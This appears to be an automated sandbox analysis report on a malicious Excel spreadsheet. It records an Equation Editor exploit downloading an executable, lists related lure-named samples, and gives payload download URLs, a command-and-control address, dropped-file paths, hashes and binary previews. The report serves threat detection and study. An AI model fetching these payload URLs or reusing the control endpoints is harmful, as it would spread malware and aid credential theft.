Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@8/27@81/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 72.4% (good quality ratio 69.6%) Quality average: 78.5% Quality standard deviation: 27.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 77 Number of non-executed functions: 56
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:21:38	API Interceptor	50x Sleep call for process: EQNEDT32.EXE modified
10:21:47	API Interceptor	771x Sleep call for process: xmtxpy.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
198.46.132.195	_OCEANA_2201S_BUSAN_HOCHIMINH_.xlsx	Get hash	malicious	Browse	198.46.132.195/mscloud/.win32.exe
	VSL_LNGA01022_ATHENA_HHI 3112_.xlsx	Get hash	malicious	Browse	198.46.132.195/win-explorer10/.win32.exe
	SOA Dec 2021.xlsx	Get hash	malicious	Browse	198.46.132.195/win_explorer/.win32.exe
	_Purchase Order Docs_.xlsx	Get hash	malicious	Browse	198.46.132.195/Registry/.win32.exe
	_Purchase Order_00523_.xlsx	Get hash	malicious	Browse	198.46.132.195/googleCRC/.win32.exe
104.21.49.244	RhACfIARBK.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	5XDl9pDBBW.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	_OCEANA_2201S_BUSAN_HOCHIMINH_.xlsx	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	tVAecH1aRM.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
172.67.197.66	RhACfIARBK.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	5XDl9pDBBW.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	_OCEANA_2201S_BUSAN_HOCHIMINH_.xlsx	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php
	tVAecH1aRM.exe	Get hash	malicious	Browse	asiaoil.bar//bobby/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
asiaoil.bar	RhACfIARBK.exe	Get hash	malicious	Browse	104.21.49.244
	5XDl9pDBBW.exe	Get hash	malicious	Browse	104.21.49.244
	_OCEANA_2201S_BUSAN_HOCHIMINH_.xlsx	Get hash	malicious	Browse	172.67.197.66
	tVAecH1aRM.exe	Get hash	malicious	Browse	172.67.197.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	t 904428. customs INV .xlsx	Get hash	malicious	Browse	198.23.213.37
	Quotation bgp offsore.xlsx	Get hash	malicious	Browse	198.12.107.201
	PO7313 2022-02.xlsx	Get hash	malicious	Browse	107.174.138.160
	CI + BL + PL.xlsx	Get hash	malicious	Browse	107.173.219.30
	1056521.xlsx	Get hash	malicious	Browse	198.12.107.201
	MV RICH SEAWAY.xlsx	Get hash	malicious	Browse	107.173.219.30
	Document_Set_2022-02-09-29T113953.xlsx	Get hash	malicious	Browse	192.210.218.110
	Jikte.exe	Get hash	malicious	Browse	23.94.150.194
	d0c0341.xlsx	Get hash	malicious	Browse	198.12.107.201
	Purchase Order BE2101008.xlsx	Get hash	malicious	Browse	192.210.218.119
	e5n28c53_Receipt.exe	Get hash	malicious	Browse	23.94.150.194
	q8D3fUmk6n.docx	Get hash	malicious	Browse	192.210.218.110
	SKTB-QUAI-HDG INV15091396.pdf.HtMl..Htm	Get hash	malicious	Browse	198.46.132.200
	shippingXdocumenstX904428.XcustomsXINV.xlsx	Get hash	malicious	Browse	198.23.213.37
	HnohSi3EBO	Get hash	malicious	Browse	107.173.255.198
	9gMto0wEJ0	Get hash	malicious	Browse	107.173.255.198
	OYN8S8kFfp	Get hash	malicious	Browse	107.173.255.198
	vGmdfkESAs	Get hash	malicious	Browse	107.173.255.198
	UpMSLoJzX6	Get hash	malicious	Browse	107.173.255.198
	TlLTxk8hTH	Get hash	malicious	Browse	107.173.255.198
CLOUDFLARENETUS	chromeparaespana.apk	Get hash	malicious	Browse	104.16.88.20
	27099788_20220118152009.docx	Get hash	malicious	Browse	172.67.162.130
	Superflex PO22000331.ppam	Get hash	malicious	Browse	104.16.203.237
	Price Offer.ppam	Get hash	malicious	Browse	104.16.202.237
	Quotation bgp offsore.xlsx	Get hash	malicious	Browse	172.67.200.123
	Proforma Fatura Siparisi.exe	Get hash	malicious	Browse	162.159.134.233
	RhACfIARBK.exe	Get hash	malicious	Browse	172.67.197.66
	2kkethlyxG.exe	Get hash	malicious	Browse	172.67.201.63
	Ordine di acquisto -AR95647,pdf.exe	Get hash	malicious	Browse	162.159.130.233
	BgrSGvSM0A.exe	Get hash	malicious	Browse	104.21.12.125
	BqorSCqeu8.exe	Get hash	malicious	Browse	172.67.148.117
	jWIGwuzTuw.exe	Get hash	malicious	Browse	172.67.144.157
	a0KvC4lzXF.exe	Get hash	malicious	Browse	172.67.172.91
	Order #3200025006.exe	Get hash	malicious	Browse	66.235.200.145
	Credit_Dtails_Ref7823496.exe	Get hash	malicious	Browse	172.67.129.116
	New year order-01069022^^^PDF.exe	Get hash	malicious	Browse	172.67.200.96
	Bank Payment Trace 626254.ppam	Get hash	malicious	Browse	104.16.203.237
	New Order for antigen rapid test kit.ppam	Get hash	malicious	Browse	104.16.203.237
	P-022022RG.ppam	Get hash	malicious	Browse	104.16.203.237
	CopyXSwiftXTT.ppam	Get hash	malicious	Browse	104.16.203.237

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	RhACfIARBK.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\xmtxpy.exe	RhACfIARBK.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	295124
Entropy (8bit):	7.944502610174892
Encrypted:	false
SSDEEP:	6144:ow2pJekU4t1+9AJci0mJVmkzcOsggBk4u9aTTozAlJixJFfDqXR0e:eJekU4zuAJv0mupOtWu9aIcTR0e
MD5:	7DF1896047D9647D818080DD17563D92
SHA1:	A7C2BC04EC70C0F439E2A0863096FA7D391F79C5
SHA-256:	9CBED5EFF56E1C08B6040C8AB4977E76528D59368D9D0550626B5380513ECB7B
SHA-512:	1558B4573F82B4B6F34E96591A5A4CF4533C30BEC9D65C3BC1435FEB0119F23EB91E5C7E771D58F502199BB3CDE272C3135CD8A8F3944D87E8759D23A340D01D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 21%, Browse Antivirus: ReversingLabs, Detection: 23%
Reputation:	low
IE Cache URL:	http://198.46.132.195/windowSSH/.win32.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........uJ...$...$...$./.{...$...%.:.$.".y...$..7....$.f."...$.Rich..$.................PE..L......H.................Z..........%2.......p....@..........................................................................s.......................................................................................p...............................text...vY.......Z.................. ..`.rdata.......p.......^..............@..@.data................p..............@....ndata.......@...........................rsrc................t..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1582FF20.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 139 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3747
Entropy (8bit):	7.932023348968795
Encrypted:	false
SSDEEP:	96:4apPN/1Cb2ItR9rXu7p6mtnOCRxMJZtFtQcgBF5c2SGA:1Pp1kRROtrRxSyRjST1
MD5:	5EB99F38CB355D8DAD5E791E2A0C9922
SHA1:	83E61CDD048381C86E3C3EFD19EB9DAFE743ADBA
SHA-256:	5DAC97FDBD2C2D5DFDD60BF45F498BB6B218D8BFB97D0609738D5E250EBBB7E0
SHA-512:	80F32B5740ECFECC5B084DF2C5134AFA8653D79B91381E62A6F571805A6B44D52D6FD261A61A44C33364123E191D974B87E3FEDC69E7507B9927936B79570C86
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............../.....tEXtSoftware.Adobe ImageReadyq.e<...]PLTE............&f\|\|}\\].........5G}..._l....778....................................................IDATx..]...<.nh........../)....;..~;.U..>.i.$..0..QF@.)."..,.../._,.y,...z....c.wuI{.Xt.!f.%.!.!....X..<....)..X...K.....T.&h.U4.x.............v;.R.a..i.B.......A.T`.....v....N..u.........NG......e....}.4=."{.+.."..7.n....Qi5....4....(.....&.......e...].t...C'.eYFmT..1..CY.c.t.............G./.#..X....{.q.....A..\|.N.i.<Y1.^>..j..Zlc....[<.z..HR......b..@.)..U...:-...9'.u. ..-sD..,.h....oo...8..M.8..4............f..&X..V......#.BN..&>R.....&.Q.&A}Bl9.-.G.wd`.$...\.......5<..O.wuC....I.....<....(j.c,...%.9..'.....UDP.@...#.XH.....<V...!.../...(<.../..,...l6u...R...:..t..t......m+....OI...........+X._..\|S.x.6..W..../sK.}a..]EO..../....yY.._6..../U.Q.\|Z,`.:r.Y.B...I.Z.H...f....SW..}.k.?.^.'..F....?n1\|.?./.....#~\|.y.r.j..u.Z...).......F.,m.......6..&..8."o...^..8.B.w...R.\..R.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3E8BE616.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 139 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3747
Entropy (8bit):	7.932023348968795
Encrypted:	false
SSDEEP:	96:4apPN/1Cb2ItR9rXu7p6mtnOCRxMJZtFtQcgBF5c2SGA:1Pp1kRROtrRxSyRjST1
MD5:	5EB99F38CB355D8DAD5E791E2A0C9922
SHA1:	83E61CDD048381C86E3C3EFD19EB9DAFE743ADBA
SHA-256:	5DAC97FDBD2C2D5DFDD60BF45F498BB6B218D8BFB97D0609738D5E250EBBB7E0
SHA-512:	80F32B5740ECFECC5B084DF2C5134AFA8653D79B91381E62A6F571805A6B44D52D6FD261A61A44C33364123E191D974B87E3FEDC69E7507B9927936B79570C86
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............../.....tEXtSoftware.Adobe ImageReadyq.e<...]PLTE............&f\|\|}\\].........5G}..._l....778....................................................IDATx..]...<.nh........../)....;..~;.U..>.i.$..0..QF@.)."..,.../._,.y,...z....c.wuI{.Xt.!f.%.!.!....X..<....)..X...K.....T.&h.U4.x.............v;.R.a..i.B.......A.T`.....v....N..u.........NG......e....}.4=."{.+.."..7.n....Qi5....4....(.....&.......e...].t...C'.eYFmT..1..CY.c.t.............G./.#..X....{.q.....A..\|.N.i.<Y1.^>..j..Zlc....[<.z..HR......b..@.)..U...:-...9'.u. ..-sD..,.h....oo...8..M.8..4............f..&X..V......#.BN..&>R.....&.Q.&A}Bl9.-.G.wd`.$...\.......5<..O.wuC....I.....<....(j.c,...%.9..'.....UDP.@...#.XH.....<V...!.../...(<.../..,...l6u...R...:..t..t......m+....OI...........+X._..\|S.x.6..W..../sK.}a..]EO..../....yY.._6..../U.Q.\|Z,`.:r.Y.B...I.Z.H...f....SW..}.k.?.^.'..F....?n1\|.?./.....#~\|.y.r.j..u.Z...).......F.,m.......6..&..8."o...^..8.B.w...R.\..R.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4AB951BC.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1099960
Entropy (8bit):	2.015315240232208
Encrypted:	false
SSDEEP:	3072:gXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cT:OahIFdyiaT2qtXl
MD5:	15A27F5C7EF8F89145A89ECF451B90D4
SHA1:	EC1F1BCB1324FDBB9FAE80EF1003B57D727100F4
SHA-256:	637B6C47252552D5DBD483BDD47DE9BCB5B041AB0EECBF523FDC0145D8154213
SHA-512:	78BBBD3DBB637F7BEE3724CEADAFFD362567A951EF9374F1E8398B9C37E0C7A1ECB74BAB56B9B331AC0F524E8E97658BC0625238F2EF383F51420FBFC8EABD22
Malicious:	false
Reputation:	low
Preview:	....l...............C...........m>..?$.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................W$...x.O..f.W.@..%...T.O...O.......O.\|.O.RQ.X..O...O.....d.O...O.$Q.X..O...O. ...Id.W..O...O. .........O..d.W............O...........................%...X...%...7...................{$..................C.a.l.i.b.r.i.............O.X.....O.(.O..8.W......O.dv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@....C.......L.......................P... ...6...F..........EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\611F4629.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10202
Entropy (8bit):	7.870143202588524
Encrypted:	false
SSDEEP:	192:hxKBFo46X6nPHvGePo6ylZ+c5xlYYY5spgpb75DBcld7jcnM5b:b740IylZ+c5xlYF5Sgd7tBednd
MD5:	66EF10508ED9AE9871D59F267FBE15AA
SHA1:	E40FDB09F7FDA69BD95249A76D06371A851F44A6
SHA-256:	461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
SHA-512:	678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B305
Malicious:	false
Preview:	.PNG........IHDR...............\|.....sRGB.........gAMA......a.....pHYs..........o.d..'oIDATx^.k...u.D.R.b\J"Y..".d.\|pq..2.r,.U.#.)F.K.n.).JI)."....T.....!.....`/H. ...\<...K...DQ"..]..(RI..>.s..t..w.>..U....>.....s/....1./^..p..........Z.H3.y..:..<..........[...@[.........Z.`E....Y:{.,.<y..x....O..................M....M........:..tx............'o..kh.0./.3.7.V...@t........x......~...A.?w....@...A]h.0./.N..^,h......D.....M..B..a}a.a.i.m...D.....M..B..a}a.a.........A]h.0.....P41..-........&.!...!.x......(.......e..a :.+.\|.Ut.U_..........2un......F7[.z.?...&..qF}.}..]I...+..J.w.~Aw....V..-.....B, W.5..P.y....>[.....q.t.6U<..@.....qE9.nT.u...`..AY.?...Z<.D.t...HT..A.....8.)..M...k\...v...`..A..?.N.Z<.D.t.Htn.O.sO...0..wF...W.#H...!p....h...\|.V+Kws2/......W....Q.,...8X.)c...M..H.\|.h.0....R...Mg!...B...x..;....Q..5........m.;.Q./9..e"{Y.P..1x...FB!....C.G.......41.........@t@W......B/.n.b...w..d....k'E..&..%l.4SBt.E?..m...eb?.....@.....a :.+H...Rh..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\62ED731F.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 139 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	7.8900124483490135
Encrypted:	false
SSDEEP:	48:H73wCcD5X+ajENpby1MTln0V1oPd8V8EAWG09tXIa1iBINm4YwFi9:H73KAajQPiMWJG08a1qINm4jU9
MD5:	E46357D82EBC866EEBDA98FA8F94B385
SHA1:	76C27D89AB2048AE7B56E401DCD1B0449B6DDF05
SHA-256:	B77A19A2F45CBEE79DA939F995DBD54905DED5CB31E7DB6A6BE40A7F6882F966
SHA-512:	8EC0060D1E4641243844E596031EB54EE642DA965078B5A3BC0B9E762E25D6DF6D1B05EACE092BA53B3965A29E3D34387A5A74EB3035D1A51E8F2025192468F3
Malicious:	false
Preview:	.PNG........IHDR.............../....EPLTE.......................o...ttu`aaLML.s;.../-,................~_)$....IDATx..].b.....Y\.....o..4...bl.6.1...Y.".\|.2A@y.../...X.X..X..2X.........o.Xz}go.m..UT.DK...ukX.....t.%..iB......w.j.1].].m....._)T...Z./.%.tm..Eq...v...wNX@.I..'$CS:e.K.Un.U.v.......P.j. .5.N.5,..B]....y..2!..^.?...5..A...>"....)...}......{[e4(.Nn....x.,....t.1..6.....}K).$.I.%n$b..G.g.w.....M..w..B.......tF".YtI..C.s.~)..<@"......-..._.(x...b..C..........;5.=.......c...s.....>.E;g.#.hk.Q..g,o;Z`.$.p&.8..ia...La....~XD.4p...8......HuYw.~X.+&Q.a.H.C..ly..X..a.?O.yS,C.r..........Xbp&.D..1.....c.cp..G.....L.M..2..5...4..L.E..`.`9...@...A.....A.E;...YFN.A.G.8..>aI.I.,...K..t..].FZ...E..F....Do../.d.,..&.f.e!..6.......2.;..gNqH`...X..\...AS...@4...#.....!D}..A_....1.W..".S.A.HIC.I'V...2..~.O.A}N........@K.B./...J,.E.....[`I>.F....$v$...:,..H..K.om.E..S29kM/..z.W...hae..62z%}y..q..z...../M.X..)....B eC..........x.C.42u...W...7.7.7

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\902EBCC8.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11303
Entropy (8bit):	7.909402464702408
Encrypted:	false
SSDEEP:	192:O64BSHRaEbPRI3iLtF0bLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUijBswpJuaUSt:ODy31IAj0bL/EKvJkVFgFg6UUijOmJJN
MD5:	9513E5EF8DDC8B0D9C23C4DFD4AEECA2
SHA1:	E7FC283A9529AA61F612EC568F836295F943C8EC
SHA-256:	88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEF0B1A510EFF4C
SHA-512:	81D1FE0F43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F61346D
Malicious:	false
Preview:	.PNG........IHDR..............P.l....sRGB.........gAMA......a.....pHYs...t...t..f.x..+.IDATx...\|.e............{......z.Y8..DiE.46.@.$$....+!.T.H/..M6..RH.l.R.!AC...>3;3;..4..~...>3.<.<..7.<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8....Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.z..zMsrT.:.<.q.....a.......O.....$2.=\|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p\|f6.^._.c..'''Qll..........W.[..s..q+e.:.\|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\92A0FADB.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10202
Entropy (8bit):	7.870143202588524
Encrypted:	false
SSDEEP:	192:hxKBFo46X6nPHvGePo6ylZ+c5xlYYY5spgpb75DBcld7jcnM5b:b740IylZ+c5xlYF5Sgd7tBednd
MD5:	66EF10508ED9AE9871D59F267FBE15AA
SHA1:	E40FDB09F7FDA69BD95249A76D06371A851F44A6
SHA-256:	461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
SHA-512:	678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B305
Malicious:	false
Preview:	.PNG........IHDR...............\|.....sRGB.........gAMA......a.....pHYs..........o.d..'oIDATx^.k...u.D.R.b\J"Y..".d.\|pq..2.r,.U.#.)F.K.n.).JI)."....T.....!.....`/H. ...\<...K...DQ"..]..(RI..>.s..t..w.>..U....>.....s/....1./^..p..........Z.H3.y..:..<..........[...@[.........Z.`E....Y:{.,.<y..x....O..................M....M........:..tx............'o..kh.0./.3.7.V...@t........x......~...A.?w....@...A]h.0./.N..^,h......D.....M..B..a}a.a.i.m...D.....M..B..a}a.a.........A]h.0.....P41..-........&.!...!.x......(.......e..a :.+.\|.Ut.U_..........2un......F7[.z.?...&..qF}.}..]I...+..J.w.~Aw....V..-.....B, W.5..P.y....>[.....q.t.6U<..@.....qE9.nT.u...`..AY.?...Z<.D.t...HT..A.....8.)..M...k\...v...`..A..?.N.Z<.D.t.Htn.O.sO...0..wF...W.#H...!p....h...\|.V+Kws2/......W....Q.,...8X.)c...M..H.\|.h.0....R...Mg!...B...x..;....Q..5........m.;.Q./9..e"{Y.P..1x...FB!....C.G.......41.........@t@W......B/.n.b...w..d....k'E..&..%l.4SBt.E?..m...eb?.....@.....a :.+H...Rh..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9C018985.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5396
Entropy (8bit):	7.915293088075047
Encrypted:	false
SSDEEP:	96:f8W/+DRQgDhhXoFGUAAX5QLwh9eDYfaiy3cHIOZ7NLXgGFMtu4vPWY1TIwD4i:f8agQgDhhXoFGUP2Lwh98YfaxcHIOPLo
MD5:	590B1C3ECA38E4210C19A9BCBAF69F8D
SHA1:	556C229F539D60F1FF434103EC1695C7554EB720
SHA-256:	E26F068512948BCE56B02285018BB72F13EEA9659B3D98ACC8EEBB79C42A9969
SHA-512:	481A24A32C9D9278A8D3C7DB86CAC30303F11C8E127C3BB004B9D5E6EDDF36830BF4146E35165DF9C0D0FB8C993679A067311D2BA3713C7E0C22B5470862B978
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....IDATx..Yo.......}.B.Z-9.";r..F..A..h....)z.~.~. .M......ia..]'Qc[ri.Dm.%R.>.9..S[.B....yn$.y.yg...9.y.{..i.t..ix<.N.....Z......}.H..A.o..[..\Gm..a....er.m....f!....$133..."...........R..h4.x.^.Earr.?..O..qz{{..........322...@Gm..y.?~L2..Z...:....0p..x<..n7.p.z..G....@.uVVV....t....x.vH<...h...J...h.(..a...O>.GUU....\|.2..\ ..........p....q..P..............(.....0p.\<~..x<...2.d...E..:.H.+.7..y...n.&.i"I.{.8..-..o......q.fX.G....... .%.....f.........=.(.\|>.....===<x....!L.$..R.........:.....Bww7.h...E.^G.e.^/..R(.H$....TU%...v._.]..ID....N'..=bdd..7oR..i6...a..4g.....B.@&......\|>...?299I&.!....:....nW.4...?......\|..G..I....+......@WW..J.d2.......&.J155u.s>..K....iw.@..C.$<.....H$...D.4...... ....Fy..!.x....W_}.O..S<...D...UUeii.d2.....T...O.Z.X,.....j..nB....Q..p8..R..>.N..j....eg.....V.....Q.h4.....$I"...u..m.!.... ..1...6.>.....,....xP......\.c.&.x.B.@$.!.Ju4.z.y..1.f.T.$I.J%....u.......qL.P(..F.......*....\....^..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9D560E8D.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 139 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	7.8900124483490135
Encrypted:	false
SSDEEP:	48:H73wCcD5X+ajENpby1MTln0V1oPd8V8EAWG09tXIa1iBINm4YwFi9:H73KAajQPiMWJG08a1qINm4jU9
MD5:	E46357D82EBC866EEBDA98FA8F94B385
SHA1:	76C27D89AB2048AE7B56E401DCD1B0449B6DDF05
SHA-256:	B77A19A2F45CBEE79DA939F995DBD54905DED5CB31E7DB6A6BE40A7F6882F966
SHA-512:	8EC0060D1E4641243844E596031EB54EE642DA965078B5A3BC0B9E762E25D6DF6D1B05EACE092BA53B3965A29E3D34387A5A74EB3035D1A51E8F2025192468F3
Malicious:	false
Preview:	.PNG........IHDR.............../....EPLTE.......................o...ttu`aaLML.s;.../-,................~_)$....IDATx..].b.....Y\.....o..4...bl.6.1...Y.".\|.2A@y.../...X.X..X..2X.........o.Xz}go.m..UT.DK...ukX.....t.%..iB......w.j.1].].m....._)T...Z./.%.tm..Eq...v...wNX@.I..'$CS:e.K.Un.U.v.......P.j. .5.N.5,..B]....y..2!..^.?...5..A...>"....)...}......{[e4(.Nn....x.,....t.1..6.....}K).$.I.%n$b..G.g.w.....M..w..B.......tF".YtI..C.s.~)..<@"......-..._.(x...b..C..........;5.=.......c...s.....>.E;g.#.hk.Q..g,o;Z`.$.p&.8..ia...La....~XD.4p...8......HuYw.~X.+&Q.a.H.C..ly..X..a.?O.yS,C.r..........Xbp&.D..1.....c.cp..G.....L.M..2..5...4..L.E..`.`9...@...A.....A.E;...YFN.A.G.8..>aI.I.,...K..t..].FZ...E..F....Do../.d.,..&.f.e!..6.......2.;..gNqH`...X..\...AS...@4...#.....!D}..A_....1.W..".S.A.HIC.I'V...2..~.O.A}N........@K.B./...J,.E.....[`I>.F....$v$...:,..H..K.om.E..S29kM/..z.W...hae..62z%}y..q..z...../M.X..)....B eC..........x.C.42u...W...7.7.7

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A4FBAD23.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5396
Entropy (8bit):	7.915293088075047
Encrypted:	false
SSDEEP:	96:f8W/+DRQgDhhXoFGUAAX5QLwh9eDYfaiy3cHIOZ7NLXgGFMtu4vPWY1TIwD4i:f8agQgDhhXoFGUP2Lwh98YfaxcHIOPLo
MD5:	590B1C3ECA38E4210C19A9BCBAF69F8D
SHA1:	556C229F539D60F1FF434103EC1695C7554EB720
SHA-256:	E26F068512948BCE56B02285018BB72F13EEA9659B3D98ACC8EEBB79C42A9969
SHA-512:	481A24A32C9D9278A8D3C7DB86CAC30303F11C8E127C3BB004B9D5E6EDDF36830BF4146E35165DF9C0D0FB8C993679A067311D2BA3713C7E0C22B5470862B978
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....IDATx..Yo.......}.B.Z-9.";r..F..A..h....)z.~.~. .M......ia..]'Qc[ri.Dm.%R.>.9..S[.B....yn$.y.yg...9.y.{..i.t..ix<.N.....Z......}.H..A.o..[..\Gm..a....er.m....f!....$133..."...........R..h4.x.^.Earr.?..O..qz{{..........322...@Gm..y.?~L2..Z...:....0p..x<..n7.p.z..G....@.uVVV....t....x.vH<...h...J...h.(..a...O>.GUU....\|.2..\ ..........p....q..P..............(.....0p.\<~..x<...2.d...E..:.H.+.7..y...n.&.i"I.{.8..-..o......q.fX.G....... .%.....f.........=.(.\|>.....===<x....!L.$..R.........:.....Bww7.h...E.^G.e.^/..R(.H$....TU%...v._.]..ID....N'..=bdd..7oR..i6...a..4g.....B.@&......\|>...?299I&.!....:....nW.4...?......\|..G..I....+......@WW..J.d2.......&.J155u.s>..K....iw.@..C.$<.....H$...D.4...... ....Fy..!.x....W_}.O..S<...D...UUeii.d2.....T...O.Z.X,.....j..nB....Q..p8..R..>.N..j....eg.....V.....Q.h4.....$I"...u..m.!.... ..1...6.>.....,....xP......\.c.&.x.B.@$.!.Ju4.z.y..1.f.T.$I.J%....u.......qL.P(..F.......*....\....^..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2EFEB2A.jpeg

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 160x160, frames 3
Category:	dropped
Size (bytes):	4396
Entropy (8bit):	7.884233298494423
Encrypted:	false
SSDEEP:	96:1rQzp0lms5HqrrVflQ9MS5Bmy9CSKgpEfSgHk4oPQwb/BD+qSzAGW:1UF0EmEiSS3mKbbpDSk4oYwbBD+qKAX
MD5:	22FEC44258BA0E3A910FC2A009CEE2AB
SHA1:	BF6749433E0DBCDA3627C342549C8A8AB3BF51EB
SHA-256:	5CD7EA78DE365089DDDF47770CDECF82E1A6195C648F0DB38D5DCAC26B5C4FA5
